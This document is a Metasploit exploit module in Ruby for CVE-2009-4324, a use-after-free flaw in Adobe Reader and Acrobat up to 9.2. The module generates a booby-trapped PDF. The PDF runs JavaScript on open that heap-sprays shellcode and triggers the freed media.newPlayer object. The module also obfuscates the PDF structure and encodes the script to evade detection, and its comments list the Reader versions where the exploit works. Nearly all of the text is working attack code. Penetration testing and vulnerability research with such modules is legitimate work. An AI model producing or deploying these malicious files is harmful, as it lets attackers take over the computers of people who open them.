Adobe Doc.media.newPlayer Use After Free Vulnerability

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',  
'Description' => %q{  
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat   
Professional versions up to and including 9.2.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'unknown', # Found in the wild  
# Metasploit version by:  
'hdm',   
'pusscat',  
'jduck'  
],  
'Version' => '$Revision: 7917 $',  
'References' =>  
[  
[ 'CVE', '2009-4324' ],  
[ 'BID', '37331' ],  
[ 'OSVDB', '60980' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# test results (on Windows XP SP3)  
# reader 6.0.1 - vulnerable / doesn't work  
# reader 7.0.5 - untested  
# reader 7.0.8 - untested  
# reader 7.0.9 - vulnerable / doesn't work  
# reader 7.1.0 - untested  
# reader 7.1.1 - untested  
# reader 8.0.0 - untested  
# reader 8.1.1 - works  
# reader 8.1.2 - untested  
# reader 8.1.3 - untested  
# reader 8.1.4 - untested  
# reader 8.1.5 - untested  
# reader 8.1.6 - untested  
# reader 9.0.0 - untested  
# reader 9.1.0 - works  
# reader 9.2 - works (no debugger, no DEP)  
[ 'Adobe Reader Windows English (JS Heap Spray)',  
{  
'Size' => (0x10000/2),  
'Ret' => 0x0c0c0c0c,  
}   
],  
],  
'DisclosureDate' => 'Dec 14 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
  
end  
  
def exploit  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Make some nops  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# Randomize variables  
#  
len = 72  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(len/2)  
rand5 = rand_text_alpha(len/2)  
  
retstring = Rex::Text.to_unescape(([target.ret].pack('V') * 4) + rand_text_alpha(len-16))  
  
# The printd strings are 72 bytes (??)  
script = %Q|  
var #{rand1} = unescape("#{shellcode}");  
var #{rand2} = unescape("#{nops}");  
var #{rand3} = unescape("#{retstring}");  
  
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};  
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);  
  
memory=new Array();  
  
for(i=0;i<0x2000;i++) {  
memory[i]= #{rand2} + #{rand1};  
}  
  
util.printd("#{rand4}", new Date());  
util.printd("#{rand5}", new Date());  
try {this.media.newPlayer(null);} catch(e) {}  
util.printd(#{rand3}, new Date());  
|  
  
# Create the pdf  
pdf = make_pdf(script)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(pdf)  
  
end  
  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
  
def make_pdf(js)  
  
xref = []  
eol = "\x0d\x0a"  
endobj = "endobj" << eol  
  
pdf = "%PDF-1.5" << eol  
pdf << "%" << RandomNonASCIIString(4) << eol  
xref << pdf.length  
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj  
xref << pdf.length  
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))  
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
pdf << "%%EOF" << eol  
  
end  
  
end  
`